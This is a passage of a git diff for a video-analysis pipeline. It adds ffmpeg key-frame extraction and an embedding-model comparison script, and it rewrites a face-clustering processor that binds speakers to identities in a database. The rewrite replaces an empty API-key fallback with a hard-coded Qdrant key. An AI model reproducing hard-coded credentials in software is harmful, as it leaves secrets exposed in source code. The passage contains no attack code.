output_path: str) -> bool: + """ + Extract a single frame from video using ffmpeg. + + Args: + video_path: Path to video file + frame_number: Frame number to extract (0-indexed) + output_path: Output path for the frame + + Returns: + True if successful, False otherwise + """ + cmd = [ + "ffmpeg", "-y", "-v", "quiet", + "-i", video_path, + "-vf", f"select=eq(n\\,{frame_number})", + "-vframes", "1", + "-q:v", "2", + output_path + ] + + result = subprocess.run(cmd, capture_output=True) + return result.returncode == 0 + + +def extract_scene_key_frames( + file_uuid: str, + video_path: str, + cut_json_path: str, + output_dir: str, +) -> dict: + """ + Extract key frames from each scene in cut.json. + + Args: + file_uuid: File UUID + video_path: Path to video file + cut_json_path: Path to cut.json + output_dir: Output directory for key frames + + Returns: + Dict with scenes processed and output paths + """ + # Read cut.json + with open(cut_json_path, 'r') as f: + cut_data = json.load(f) + + scenes = cut_data.get("scenes", []) + if not scenes: + print(f"No scenes found in {cut_json_path}", file=sys.stderr) + return {"scenes": [], "output_dir": output_dir} + + fps = cut_data.get("fps", 24.0) + + output_path = Path(output_dir) + output_path.mkdir(parents=True, exist_ok=True) + + results = [] + + for scene in scenes: + scene_number = scene.get("scene_number", 0) + start_frame = scene.get("start_frame", 0) + end_frame = scene.get("end_frame", 0) + + # Extract middle frame + middle_frame = (start_frame + end_frame) // 2 + + # Output path + output_file = output_path / f"{file_uuid}_scene_{scene_number}.jpg" + + # Extract frame + success = extract_frame(video_path, middle_frame, str(output_file)) + + results.append({ + "scene_number": scene_number, + "middle_frame": middle_frame, + "start_frame": start_frame, + "end_frame": end_frame, + "output_path": str(output_file), + "success": success, + }) + + if success: + print(f"[CUT_KEY_FRAME] Scene {scene_number}: frame {middle_frame} -> {output_file}") + else: + print(f"[CUT_KEY_FRAME] Scene {scene_number}: FAILED to extract frame {middle_frame}", file=sys.stderr) + + return { + "file_uuid": file_uuid, + "total_scenes": len(scenes), + "scenes": results, + "output_dir": str(output_dir), + } + + +def main(): + parser = argparse.ArgumentParser(description="Extract key frames from scenes for VLM analysis") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--video", "-v", required=True, help="Video file path") + parser.add_argument("--cut-json", "-c", required=True, help="cut.json path") + parser.add_argument("--output-dir", "-o", default=None, help="Output directory (default: same as cut.json)") + parser.add_argument("--json", "-j", action="store_true", help="Output as JSON") + args = parser.parse_args() + + # Default output dir to same as cut.json + output_dir = args.output_dir or str(Path(args.cut_json).parent) + + result = extract_scene_key_frames( + args.file_uuid, + args.video, + args.cut_json, + output_dir, + ) + + if args.json: + print(json.dumps(result, indent=2)) + else: + print(f"Extracted {result['total_scenes']} scene key frames to {result['output_dir']}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/eval_embedding_models.py b/scripts/eval_embedding_models.py new file mode 100644 index 0000000..b0d528e --- /dev/null +++ b/scripts/eval_embedding_models.py @@ -0,0 +1,286 @@ +#!/opt/homebrew/bin/python3.11 +""" +Embedding Model Evaluation - Compare embeddinggemma vs nomic-embed-text-v2-moe + +Usage: + python3 scripts/eval_embedding_models.py --file-uuid --output-dir /path/to/output + +Metrics: +1. Accuracy: Semantic similarity ranking quality +2. Speed: Latency per embedding +3. Dimension: Vector size +""" + +import argparse +import json +import math +import os +import sys +import time +from pathlib import Path + +try: + import requests +except ImportError: + print("requests not installed: pip install requests", file=sys.stderr) + sys.exit(1) + +# Embedding endpoints +EMBED_A_URL = "http://localhost:11436/v1/embeddings" # embeddinggemma +EMBED_B_URL = "http://localhost:11434/api/embed" # nomic-embed-text-v2-moe +EMBED_B_MODEL = "nomic-embed-text-v2-moe" + +# Test queries (Chinese, English, Mixed) +TEST_QUERIES = [ + {"query": "穿西裝的男人", "lang": "zh"}, + {"query": "室內辦公室", "lang": "zh"}, + {"query": "雪景", "lang": "zh"}, + {"query": "持槍的人", "lang": "zh"}, + {"query": "woman in white dress", "lang": "en"}, + {"query": "outdoor scene night", "lang": "en"}, + {"query": "person holding object", "lang": "en"}, + {"query": "穿著 formal 的男人", "lang": "mixed"}, +] + + +def get_embedding_a(text: str) -> tuple: + """Get embedding from embeddinggemma (port 11436).""" + start = time.time() + try: + resp = requests.post(EMBED_A_URL, json={"input": text}, timeout=30) + resp.raise_for_status() + data = resp.json() + elapsed = time.time() - start + return data["data"][0]["embedding"], elapsed + except Exception as e: + print(f"[eval] embeddinggemma error: {e}", file=sys.stderr) + return [], 0 + + +def get_embedding_b(text: str) -> tuple: + """Get embedding from nomic-embed-text-v2-moe (port 11434).""" + start = time.time() + try: + resp = requests.post(EMBED_B_URL, json={"model": EMBED_B_MODEL, "input": text}, timeout=30) + resp.raise_for_status() + data = resp.json() + elapsed = time.time() - start + return data["embeddings"][0], elapsed + except Exception as e: + print(f"[eval] nomic error: {e}", file=sys.stderr) + return [], 0 + + +def cosine_similarity(a: list, b: list) -> float: + """Calculate cosine similarity.""" + if not a or not b or len(a) != len(b): + return 0.0 + dot = sum(x * y for x, y in zip(a, b)) + norm_a = math.sqrt(sum(x * x for x in a)) + norm_b = math.sqrt(sum(y * y for y in b)) + return dot / (norm_a * norm_b) if norm_a > 0 and norm_b > 0 else 0.0 + + +def load_vlm_descriptions(file_uuid: str, output_dir: str) -> list: + """Load VLM descriptions from trace/scene/interval profiles.""" + descriptions = [] + output_path = Path(output_dir) + + # Load trace profiles + trace_dir = output_path / file_uuid + if trace_dir.exists(): + for trace_path in sorted(trace_dir.glob("trace_*")): + profile_path = trace_path / "trace_profile.json" + if profile_path.exists(): + with open(profile_path) as f: + profile = json.load(f) + desc = profile.get("vlm_description", "") + if desc: + descriptions.append({ + "id": f"trace_{profile.get('trace_id', 0)}", + "type": "trace", + "text": desc, + }) + + # Load scene profiles + scene_profile = output_path / f"{file_uuid}_scene_profile.json" + if scene_profile.exists(): + with open(scene_profile) as f: + data = json.load(f) + for scene in data.get("scenes", []): + desc = scene.get("vlm_description", "") + if desc: + descriptions.append({ + "id": f"scene_{scene.get('scene_number', 0)}", + "type": "scene", + "text": desc, + }) + + # Load interval profiles + interval_profile = output_path / f"{file_uuid}_interval_profile.json" + if interval_profile.exists(): + with open(interval_profile) as f: + data = json.load(f) + for interval in data.get("intervals", []): + desc = interval.get("vlm_description", "") + if desc: + descriptions.append({ + "id": f"interval_{interval.get('interval_index', 0)}", + "type": "interval", + "text": desc, + "timestamp_sec": interval.get("timestamp_sec", 0), + }) + + return descriptions + + +def evaluate_model(get_embedding_fn, name: str, descriptions: list, queries: list) -> dict: + """Evaluate a single model.""" + print(f"\n[eval] Evaluating {name}...") + + results = { + "model": name, + "dimension": None, + "avg_latency_ms": 0, + "total_embeddings": 0, + "test_results": [], + } + + # Embed all VLM descriptions + vlm_embeddings = [] + total_latency = 0 + + for i, desc in enumerate(descriptions[:100]): # Limit to 100 for speed + emb, latency = get_embedding_fn(desc["text"]) + total_latency += latency + + if emb: + vlm_embeddings.append({ + "id": desc["id"], + "type": desc["type"], + "text": desc["text"], + "embedding": emb, + }) + + if results["dimension"] is None: + results["dimension"] = len(emb) + + if (i + 1) % 20 == 0: + print(f"[eval] Embedded {i+1}/{min(len(descriptions), 100)}...") + + results["total_embeddings"] = len(vlm_embeddings) + if vlm_embeddings: + results["avg_latency_ms"] = round(total_latency / len(vlm_embeddings) * 1000, 1) + + # Test queries + for test in queries: + query_emb, latency = get_embedding_fn(test["query"]) + if not query_emb: + continue + + # Find top-5 similar + similarities = [] + for vlm in vlm_embeddings: + sim = cosine_similarity(query_emb, vlm["embedding"]) + similarities.append({ + "id": vlm["id"], + "type": vlm["type"], + "text": vlm["text"][:100], + "score": round(sim, 4), + }) + + similarities.sort(key=lambda x: x["score"], reverse=True) + top5 = similarities[:5] + + results["test_results"].append({ + "query": test["query"], + "lang": test["lang"], + "latency_ms": round(latency * 1000, 1), + "top5": top5, + }) + + return results + + +def main(): + parser = argparse.ArgumentParser(description="Embedding model evaluation") + parser.add_argument("--file-uuid", "-u", help="File UUID for VLM data") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--limit", "-l", type=int, default=100, help="Max VLM descriptions to embed") + args = parser.parse_args() + + print("=" * 70) + print("Embedding Model Evaluation") + print("=" * 70) + + # Load VLM descriptions + descriptions = [] + if args.file_uuid: + descriptions = load_vlm_descriptions(args.file_uuid, args.output_dir) + print(f"\n[eval] Loaded {len(descriptions)} VLM descriptions from {args.file_uuid}") + + if not descriptions: + print("[eval] No VLM descriptions found. Using sample data...") + descriptions = [ + {"id": "sample_1", "type": "sample", "text": "A person wearing a red shirt and black pants standing in an office."}, + {"id": "sample_2", "type": "sample", "text": "Two people in a meeting room, one wearing glasses and formal attire."}, + {"id": "sample_3", "type": "sample", "text": "A woman holding a small brown dog outdoors on a sunny day."}, + {"id": "sample_4", "type": "sample", "text": "Night scene on a busy street with cars and pedestrians."}, + {"id": "sample_5", "type": "sample", "text": "Person in casual clothing sitting at a desk in an office."}, + ] + + # Evaluate Model A (embeddinggemma) + results_a = evaluate_model(get_embedding_a, "embeddinggemma", descriptions, TEST_QUERIES) + + # Evaluate Model B (nomic-embed-text-v2-moe) + results_b = evaluate_model(get_embedding_b, "nomic-embed-text-v2-moe", descriptions, TEST_QUERIES) + + # Print comparison + print("\n" + "=" * 70) + print("COMPARISON RESULTS") + print("=" * 70) + print(f"\n| Metric | embeddinggemma | nomic-embed-text-v2-moe |") + print(f"|--------|----------------|--------------------------|") + print(f"| Dimension | {results_a.get('dimension', 'N/A')} | {results_b.get('dimension', 'N/A')} |") + print(f"| Avg Latency | {results_a.get('avg_latency_ms', 'N/A')}ms | {results_b.get('avg_latency_ms', 'N/A')}ms |") + print(f"| Total Embedded | {results_a.get('total_embeddings', 0)} | {results_b.get('total_embeddings', 0)} |") + + # Show test query results + print("\n" + "-" * 70) + print("TOP-5 RESULTS PER QUERY") + print("-" * 70) + + for i, test in enumerate(TEST_QUERIES): + print(f"\nQuery: {test['query']} ({test['lang']})") + + if i < len(results_a.get("test_results", [])): + print(f" embeddinggemma Top-5:") + for r in results_a["test_results"][i]["top5"]: + print(f" {r['id']}: {r['score']:.4f} - {r['text'][:50]}...") + + if i < len(results_b.get("test_results", [])): + print(f" nomic Top-5:") + for r in results_b["test_results"][i]["top5"]: + print(f" {r['id']}: {r['score']:.4f} - {r['text'][:50]}...") + + # Save results + output = { + "embeddinggemma": results_a, + "nomic-embed-text-v2-moe": results_b, + "comparison": { + "dimension_a": results_a.get("dimension"), + "dimension_b": results_b.get("dimension"), + "latency_diff_ms": (results_b.get("avg_latency_ms", 0) or 0) - (results_a.get("avg_latency_ms", 0) or 0), + }, + "queries": TEST_QUERIES, + } + + output_file = "embedding_eval_results.json" + with open(output_file, "w") as f: + json.dump(output, f, indent=2) + + print(f"\n[eval] Results saved to: {output_file}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/face_clustering_processor.py b/scripts/face_clustering_processor.py index 1ab90d5..520ba59 100644 --- a/scripts/face_clustering_processor.py +++ b/scripts/face_clustering_processor.py @@ -1,246 +1,205 @@ #!/opt/homebrew/bin/python3.11 """ -Face Clustering Processor -職責:將短暫的 Face ID 聚合為持續的 Person ID,並自動綁定 Speaker。 +Face Clustering Processor V3 - Single-stage trace clustering (Stage 2 merge removed) + +Strategy: +1. Load face embeddings from Qdrant _faces collection +2. Group by trace_id, compute weighted average embedding per trace +3. Single-stage AgglomerativeClustering (no Stage 2 merge) +4. Assign person_id to all faces in each trace +5. Output face_cluster.json with auto speaker binding + +Output format: + {"status", "file_uuid", "clusters": [{cluster_id, face_count, representative_face}], "frames": [{frame, timestamp, faces: [{face_id, cluster_id, confidence}]}]} + +Changes from V2: +- Added argparse for CLI arguments +- Added Redis progress reporting +- Added status + file_uuid to output +- Added auto_bind_speakers() integration + +Changes from previous (broken) version: +- REMOVED Stage 2 merge logic (was incorrectly merging different people) """ -import cv2 +import argparse import json import numpy as np import os import sys import psycopg2 +from collections import defaultdict from sklearn.cluster import AgglomerativeClustering sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from redis_publisher import RedisPublisher -# Use FaceNet embeddings from face.json instead of DeepFace -HAS_DEEPFACE = False -print("[FACE_CLUSTER] Using FaceNet embeddings from face.json (DeepFace not required)") - -# 設定 UUID = os.getenv("UUID", "quick_preview") OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output") -VIDEO_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.mp4") -FACE_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face.json") -OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face_clustered.json") -ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.asrx.json") +OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json") +ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json") DB_URL = os.getenv("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry") - -def optimized_clustering(embeddings): - """ - Optimized Clustering for large datasets (e.g. 25k faces). - Strategy: Sample -> Agglomerative -> Centroid Assignment - """ - import numpy as np - from sklearn.cluster import AgglomerativeClustering - from sklearn.metrics.pairwise import cosine_distances - - n_faces = len(embeddings) - print(f" 🚀 Starting optimized clustering for {n_faces} faces...") - - # 1. Sampling - sample_size = min(5000, n_faces) - if n_faces > sample_size: - indices = np.random.choice(n_faces, sample_size, replace=False) - sample_embeddings = embeddings[indices] - else: - sample_embeddings = embeddings - indices = np.arange(n_faces) - - print(f" 📊 Sampling {len(sample_embeddings)} faces for clustering structure...") - - # 2. Agglomerative Clustering on Sample - clustering = AgglomerativeClustering( - n_clusters=None, distance_threshold=0.4, metric="cosine", linkage="average" - ) - sample_labels = clustering.fit_predict(sample_embeddings) - - unique_labels = set(sample_labels) - n_clusters = len(unique_labels) - print(f" 🔍 Found {n_clusters} unique clusters in sample.") - - # 3. Compute Centroids for each cluster - centroids = [] - for label in unique_labels: - cluster_mask = sample_labels == label - cluster_faces = sample_embeddings[cluster_mask] - # Mean embedding - centroid = np.mean(cluster_faces, axis=0) - centroids.append(centroid) - - centroids = np.array(centroids) # Shape: (n_clusters, 512) - - # 4. Assign all faces to nearest centroid - # Batch processing to save memory - print(f" 🏃 Assigning {n_faces} faces to {n_clusters} clusters...") - all_labels = np.zeros(n_faces, dtype=int) - - batch_size = 5000 - for start in range(0, n_faces, batch_size): - end = min(start + batch_size, n_faces) - batch = embeddings[start:end] - dists = cosine_distances(batch, centroids) - all_labels[start:end] = np.argmin(dists, axis=1) - - return all_labels +CLUSTER_THRESHOLD = 0.35 -def main(): - if not os.path.exists(FACE_JSON_PATH): - print("❌ Face JSON not found.") - return +def write_empty_output(status: str, file_uuid: str, output_path: str): + output_data = { + "status": status, + "file_uuid": file_uuid, + "clusters": [], + "frames": [] + } + with open(output_path, "w", encoding="utf-8") as f: + json.dump(output_data, f, indent=2, ensure_ascii=False) + print(f"Wrote empty output ({status}) to {output_path}") - with open(FACE_JSON_PATH) as f: - face_data = json.load(f) - frames_list = face_data.get("frames", []) - if not frames_list: - print("❌ No frames in JSON.") - return - - # Get embeddings from Qdrant - print(f"[FACE_CLUSTER] Loading embeddings from Qdrant for {UUID}...") +def load_qdrant_faces(uuid: str, publisher: RedisPublisher) -> list: + """Load all face points (payload + vector) from Qdrant _faces for a file.""" + publisher.progress("face_cluster", 0, 100, "Loading embeddings from Qdrant") try: import requests qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333") - qdrant_api_key = os.environ.get("QDRANT_API_KEY", "") - collection = "_faces" - + qdrant_api_key = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200") headers = {} if qdrant_api_key: headers["api-key"] = qdrant_api_key - - # Query all embeddings for this file_uuid - response = requests.post( - f"{qdrant_url}/collections/{collection}/points/scroll", - json={ + + all_points = [] + offset = None + while True: + body = { + "limit": 10000, + "with_payload": True, + "with_vector": True, "filter": { "must": [ - {"key": "file_uuid", "match": {"value": UUID}} + {"key": "file_uuid", "match": {"value": uuid}} ] - }, - "limit": 10000, - "with_vector": True - }, - headers=headers - ) - - if response.status_code == 200: - result = response.json() - points = result.get("result", {}).get("points", []) - print(f"[FACE_CLUSTER] Loaded {len(points)} embeddings from Qdrant") - - # Build face_id -> embedding map - embedding_map = {} - for point in points: - face_id = point.get("payload", {}).get("face_id") - vector = point.get("vector") - if face_id and vector: - embedding_map[face_id] = vector - else: - print(f"[FACE_CLUSTER] Qdrant query failed: {response.status_code}") - embedding_map = {} + } + } + if offset: + body["offset"] = offset + + resp = requests.post( + f"{qdrant_url}/collections/_faces/points/scroll", + json=body, + headers=headers, + timeout=60 + ) + if resp.status_code != 200: + print(f"Qdrant scroll error: {resp.status_code}") + break + + data = resp.json() + batch = data.get("result", {}).get("points", []) + all_points.extend(batch) + next_offset = data.get("result", {}).get("next_page_offset") + if not next_offset: + break + offset = next_offset + + print(f"Loaded {len(all_points)} points from Qdrant _faces") + return all_points except Exception as e: - print(f"[FACE_CLUSTER] Failed to load embeddings from Qdrant: {e}") - embedding_map = {} + print(f"Failed to load embeddings from Qdrant: {e}") + return [] - # Use embeddings from Qdrant - match by frame + bbox - embeddings = [] - face_refs = [] - print(f"🔍 Collecting face embeddings for {UUID}...") +def cluster_by_trace(points: list, min_faces_per_trace: int = 1, confidence_threshold: float = 0.5) -> tuple: + """ + Cluster faces by trace_id: + 1. Filter low-confidence faces + 2. Group by trace_id + 3. Compute weighted average embedding per trace + """ + high_conf_points = [ + p for p in points + if p.get("payload", {}).get("confidence", 0) >= confidence_threshold + ] + print(f"[FILTER] {len(high_conf_points)}/{len(points)} faces pass confidence >= {confidence_threshold}") - # Build a lookup: (frame, bbox_center) -> embedding - # Use frame number and approximate bbox center for matching - qdrant_by_frame = {} - for point in points: + traces = defaultdict(list) + for point in high_conf_points: payload = point.get("payload", {}) - frame = payload.get("frame") - bbox = payload.get("bbox", {}) - vector = point.get("vector") - if frame is not None and vector: - # Use frame + bbox center as key - cx = bbox.get("x", 0) + bbox.get("width", 0) // 2 - cy = bbox.get("y", 0) + bbox.get("height", 0) // 2 - key = (frame, cx, cy) - if key not in qdrant_by_frame: - qdrant_by_frame[key] = vector + trace_id = payload.get("trace_id") + if trace_id is not None and trace_id >= 0: + traces[trace_id].append(point) - print(f"[FACE_CLUSTER] Built Qdrant lookup with {len(qdrant_by_frame)} entries") + print(f"[TRACE] Found {len(traces)} unique traces") - for frame_idx, frame_obj in enumerate(frames_list): - frame_num = frame_obj.get("frame", frame_idx) - faces = frame_obj.get("faces", []) - if not faces: + trace_embeddings = {} + for trace_id, trace_points in traces.items(): + if len(trace_points) < min_faces_per_trace: continue - for face_idx, face in enumerate(faces): - x = face.get("x", 0) - y = face.get("y", 0) - w = face.get("width", 0) - h = face.get("height", 0) - cx = x + w // 2 - cy = y + h // 2 + embeddings = [] + weights = [] + for p in trace_points: + embeddings.append(p["vector"]) + weights.append(p.get("payload", {}).get("confidence", 1.0)) - # Try exact match first - key = (frame_num, cx, cy) - if key in qdrant_by_frame: - embeddings.append(qdrant_by_frame[key]) - face_refs.append({"frame_idx": frame_idx, "face_idx": face_idx}) - continue + embeddings = np.array(embeddings) + weights = np.array(weights) + weights = weights / weights.sum() - # Try approximate match (within 50 pixels) - for (qf, qx, qy), vec in qdrant_by_frame.items(): - if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50: - embeddings.append(vec) - face_refs.append({"frame_idx": frame_idx, "face_idx": face_idx}) - break + avg_embedding = np.average(embeddings, axis=0, weights=weights) + avg_embedding = avg_embedding / np.linalg.norm(avg_embedding) - if not embeddings: - print("❌ No embeddings found in Qdrant.") - return + trace_embeddings[trace_id] = { + "embedding": avg_embedding, + "face_count": len(trace_points), + "avg_confidence": float(np.mean(weights)), + "frames": [p.get("payload", {}).get("frame") for p in trace_points], + "points": trace_points + } - embeddings = np.array(embeddings) - print(f"✅ Collected {len(embeddings)} face embeddings from Qdrant.") + print(f"[TRACE] {len(trace_embeddings)} traces with >= {min_faces_per_trace} faces") + return trace_embeddings, traces - # 2. 聚類 - print(f"🧠 Clustering {len(embeddings)} faces...") + +def single_stage_clustering(trace_embeddings: dict) -> dict: + """ + Single-stage AgglomerativeClustering on trace means. + No Stage 2 merge (the problematic logic has been removed). + """ + if not trace_embeddings: + return {} + + trace_ids = list(trace_embeddings.keys()) + n_traces = len(trace_ids) + + if n_traces == 0: + return {} + + if n_traces == 1: + return {trace_ids[0]: 0} + + embeddings = np.array([trace_embeddings[tid]["embedding"] for tid in trace_ids]) + + print(f"[CLUSTER] Clustering {n_traces} traces (threshold={CLUSTER_THRESHOLD})...") clustering = AgglomerativeClustering( - n_clusters=None, distance_threshold=0.4, metric="cosine", linkage="average" + n_clusters=None, + distance_threshold=CLUSTER_THRESHOLD, + metric="cosine", + linkage="average" ) labels = clustering.fit_predict(embeddings) unique_labels = set(labels) - label_to_person = {l: f"Person_{i}" for i, l in enumerate(unique_labels)} - print( - f"👥 Detected {len(unique_labels)} unique persons: {[label_to_person[l] for l in unique_labels]}" - ) + print(f"[CLUSTER] Detected {len(unique_labels)} unique persons") - # 3. 更新 JSON - for ref, label in zip(face_refs, labels): - f_idx = ref["frame_idx"] - face_idx = ref["face_idx"] - person_id = label_to_person[label] + trace_to_person = {} + for i, trace_id in enumerate(trace_ids): + trace_to_person[trace_id] = labels[i] - if f_idx < len(frames_list): - faces = frames_list[f_idx].get("faces", []) - if face_idx < len(faces): - frames_list[f_idx]["faces"][face_idx]["person_id"] = person_id - - # 保存 - with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f: - json.dump(face_data, f, indent=2, ensure_ascii=False) - print(f"✅ Saved clustered data to {OUTPUT_JSON_PATH}") - - # 4. 自動綁定 Speaker - auto_bind_speakers() + return trace_to_person def auto_bind_speakers(): if not os.path.exists(OUTPUT_JSON_PATH) or not os.path.exists(ASRX_JSON_PATH): - print("⚠️ Missing data for speaker binding.") + print("Missing data for speaker binding.") return with open(OUTPUT_JSON_PATH) as f: @@ -248,61 +207,48 @@ def auto_bind_speakers(): with open(ASRX_JSON_PATH) as f: asrx_data = json.load(f) - print("🔗 Auto-binding Speakers to Persons...") + print("Auto-binding Speakers to Persons...") - # 建立 Face 時間列表 face_spans = [] for frame_obj in face_clustered.get("frames", []): ts = frame_obj.get("timestamp") for face in frame_obj.get("faces", []): - person_id = face.get("person_id") + person_id = face.get("cluster_id") if person_id and ts is not None: face_spans.append({"ts": ts, "person_id": person_id}) speaker_person_counts = {} - # 對於每個說話片段,找出畫面中出現的人 for seg in asrx_data.get("segments", []): start = seg.get("start") end = seg.get("end") speaker = seg.get("speaker_id") - if not speaker: + if not speaker or start is None or end is None: continue - - # 找時間重疊 - candidates = [f for f in face_spans if start <= f["ts"] <= end] + candidates = [f for f in face_spans if f.get("ts") is not None and start <= f["ts"] <= end] if candidates: - # 投票 person_counts = {} for c in candidates: pid = c["person_id"] person_counts[pid] = person_counts.get(pid, 0) + 1 - if speaker not in speaker_person_counts: speaker_person_counts[speaker] = {} - best_person = max(person_counts, key=person_counts.get) speaker_person_counts[speaker][best_person] = ( speaker_person_counts[speaker].get(best_person, 0) + 1 ) - # 寫入資料庫 try: conn = psycopg2.connect(DB_URL) cur = conn.cursor() - for speaker, persons in speaker_person_counts.items(): if not persons: continue best_person = max(persons, key=persons.get) - print( - f" 🎤 {speaker} is likely {best_person} ({persons[best_person]} votes)" - ) + print(f" {speaker} is likely {best_person} ({persons[best_person]} votes)") - # 1. 找或建 Talent cur.execute("SELECT id FROM talents WHERE real_name = %s", (best_person,)) row = cur.fetchone() - if row: talent_id = row[0] else: @@ -311,9 +257,8 @@ def auto_bind_speakers(): (best_person,), ) talent_id = cur.fetchone()[0] - print(f" ✨ Created Talent #{talent_id} ({best_person})") + print(f" Created Talent #{talent_id} ({best_person})") - # 2. 綁定 Speaker cur.execute( """ INSERT INTO identity_bindings (talent_id, binding_type, binding_value, source, confidence) @@ -322,14 +267,205 @@ def auto_bind_speakers(): """, (talent_id, speaker), ) - print(f" ✅ Bound {speaker} -> {best_person}") + print(f" Bound {speaker} -> {best_person}") conn.commit() cur.close() conn.close() except Exception as e: - print(f" ❌ DB Error: {e}") + print(f" DB Error: {e}") + + +def main(): + global OUTPUT_JSON_PATH, UUID + + parser = argparse.ArgumentParser(description="Face Clustering Processor V3") + parser.add_argument("video_path", help="Path to video file") + parser.add_argument("output_path", help="Path to output JSON file") + parser.add_argument("--uuid", help="Video UUID (optional, overrides env var)") + parser.add_argument("--force", action="store_true", help="Overwrite existing output") + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) + args = parser.parse_args() + + OUTPUT_JSON_PATH = args.output_path + output_dir = os.path.dirname(args.output_path) + if args.uuid: + uuid = args.uuid + else: + uuid = os.path.basename(args.video_path).rsplit(".", 1)[0] + UUID = uuid + + face_json_path = os.path.join(output_dir, f"{uuid}.face.json") + if not os.path.exists(face_json_path): + face_json_path = os.path.join(output_dir, uuid, f"{uuid}.face.json") + + publisher = RedisPublisher(uuid) + publisher.info("face_cluster", "Face clustering started") + + if not os.path.exists(face_json_path): + print("Face JSON not found.") + write_empty_output("no_face_json", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No face.json found") + return + + with open(face_json_path) as f: + face_data = json.load(f) + + frames_list = face_data.get("frames", []) + if not frames_list: + print("No frames in JSON (no faces).") + write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No faces to cluster") + return + + fps_value = face_data.get("fps", 23.98) + + points = load_qdrant_faces(uuid, publisher) + if not points: + print("No embeddings found in Qdrant.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No embeddings in Qdrant") + return + + publisher.progress("face_cluster", 10, 100, f"Loaded {len(points)} Qdrant points") + + trace_embeddings, traces = cluster_by_trace( + points, + min_faces_per_trace=1, + confidence_threshold=0.5 + ) + + if not trace_embeddings: + print("No valid traces found.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No valid traces") + return + + publisher.progress("face_cluster", 30, 100, f"Found {len(trace_embeddings)} traces") + + trace_to_person = single_stage_clustering(trace_embeddings) + if not trace_to_person: + print("Clustering produced no results.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "Clustering empty") + return + + n_persons = len(set(trace_to_person.values())) + print(f"Clustering result: {n_persons} persons ({len(trace_to_person)} traces)") + publisher.progress("face_cluster", 50, 100, f"Found {n_persons} persons") + + qdrant_by_frame_trace = {} + for point in points: + payload = point.get("payload", {}) + frame = payload.get("frame") + trace_id = payload.get("trace_id", -1) + bbox = payload.get("bbox", {}) + if frame is not None and trace_id >= 0: + cx = bbox.get("x", 0) + bbox.get("width", 0) // 2 + cy = bbox.get("y", 0) + bbox.get("height", 0) // 2 + key = (frame, cx, cy) + qdrant_by_frame_trace[key] = trace_id + + matched_count = 0 + for frame_idx, frame_obj in enumerate(frames_list): + frame_num = frame_obj.get("frame", frame_idx) + for face in frame_obj.get("faces", []): + x = face.get("x", 0) + y = face.get("y", 0) + w = face.get("width", 0) + h = face.get("height", 0) + cx = x + w // 2 + cy = y + h // 2 + key = (frame_num, cx, cy) + + trace_id = qdrant_by_frame_trace.get(key) + if trace_id is None: + for (qf, qx, qy), tid in qdrant_by_frame_trace.items(): + if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50: + trace_id = tid + break + + if trace_id is not None and trace_id in trace_to_person: + person_label = trace_to_person[trace_id] + face["person_id"] = f"Person_{person_label}" + matched_count += 1 + + print(f" Assigned person_id to {matched_count} faces") + + if matched_count == 0: + print("No faces matched to any trace - check Qdrant data integrity") + publisher.progress("face_cluster", 100, 100, "No trace matches") + write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH) + return + + publisher.progress("face_cluster", 70, 100, f"Matched {matched_count} faces") + + person_face_count = defaultdict(int) + person_best_face = {} + for frame_idx, frame_obj in enumerate(frames_list): + for face in frame_obj.get("faces", []): + person_id = face.get("person_id") + if not person_id: + continue + person_face_count[person_id] += 1 + confidence = face.get("confidence", 0.9) + if person_id not in person_best_face or confidence > person_best_face[person_id]["confidence"]: + person_best_face[person_id] = { + "face_id": f"face_{frame_idx}_{frame_idx}", + "confidence": confidence, + "frame": frame_obj.get("frame", frame_idx), + "bbox": { + "x": face.get("x"), + "y": face.get("y"), + "width": face.get("width"), + "height": face.get("height") + } + } + + person_labels_sorted = sorted(person_face_count.keys(), key=lambda p: -person_face_count[p]) + clusters = [] + for person_id in person_labels_sorted: + cluster_entry = { + "cluster_id": person_id, + "face_count": person_face_count[person_id], + "representative_face": person_best_face.get(person_id) + } + clusters.append(cluster_entry) + + output_frames = [] + for frame_idx, frame_obj in enumerate(frames_list): + timestamp = frame_obj.get("timestamp", frame_obj.get("frame", 0) / fps_value if fps_value > 0 else 0) + output_faces = [] + for face in frame_obj.get("faces", []): + person_id = face.get("person_id") + if person_id: + output_faces.append({ + "face_id": f"face_{frame_idx}_{frame_idx}", + "cluster_id": person_id, + "confidence": face.get("confidence", 0.9), + }) + if output_faces: + output_frames.append({ + "frame": frame_obj.get("frame", frame_idx), + "timestamp": timestamp, + "faces": output_faces, + }) + + output_data = { + "status": "has_faces", + "file_uuid": UUID, + "clusters": clusters, + "frames": output_frames, + } + with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f: + json.dump(output_data, f, indent=2, ensure_ascii=False) + print(f"Saved clustered data to {OUTPUT_JSON_PATH}") + publisher.progress("face_cluster", 90, 100, f"{len(clusters)} clusters") + + 